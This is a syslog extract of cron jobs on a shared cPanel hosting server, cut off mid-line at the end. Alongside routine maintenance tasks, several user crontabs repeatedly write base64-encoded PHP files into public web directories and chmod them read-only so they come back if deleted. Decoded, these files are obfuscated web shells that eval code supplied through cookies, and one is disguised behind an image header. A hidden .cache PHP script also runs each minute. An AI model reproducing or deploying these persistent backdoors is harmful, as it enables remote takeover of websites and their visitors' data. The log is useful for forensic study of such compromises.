Mar  2 06:35:02 medusa CROND[5453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:35:02 medusa CROND[5456]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:35:02 medusa CROND[5451]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:35:02 medusa CROND[5460]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:35:02 medusa CROND[5454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:35:02 medusa CROND[5457]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:35:02 medusa CROND[5461]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:35:02 medusa CROND[5467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:35:02 medusa CROND[5479]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:35:02 medusa CROND[5486]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:35:02 medusa CROND[5484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:35:02 medusa CROND[5463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:35:02 medusa CROND[5497]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:35:02 medusa CROND[5477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:35:02 medusa CROND[5498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:35:02 medusa CROND[5496]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 06:35:02 medusa CROND[5485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:35:02 medusa CROND[5506]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:36:01 medusa CROND[17939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:36:01 medusa CROND[18084]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:36:01 medusa CROND[18141]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:36:02 medusa CROND[18228]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:36:02 medusa CROND[18229]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:36:02 medusa CROND[18235]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:36:02 medusa CROND[18236]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:36:02 medusa CROND[18239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:36:02 medusa CROND[18240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:36:02 medusa CROND[18246]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:36:02 medusa CROND[18255]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:36:02 medusa CROND[18256]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:36:02 medusa CROND[18258]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:36:02 medusa CROND[18259]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:37:02 medusa CROND[1143]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:37:02 medusa CROND[1152]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  2 06:37:02 medusa CROND[1160]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:37:02 medusa CROND[1169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:37:02 medusa CROND[1200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:37:02 medusa CROND[1201]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:37:02 medusa CROND[1226]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:37:02 medusa CROND[1238]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:37:02 medusa CROND[1247]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 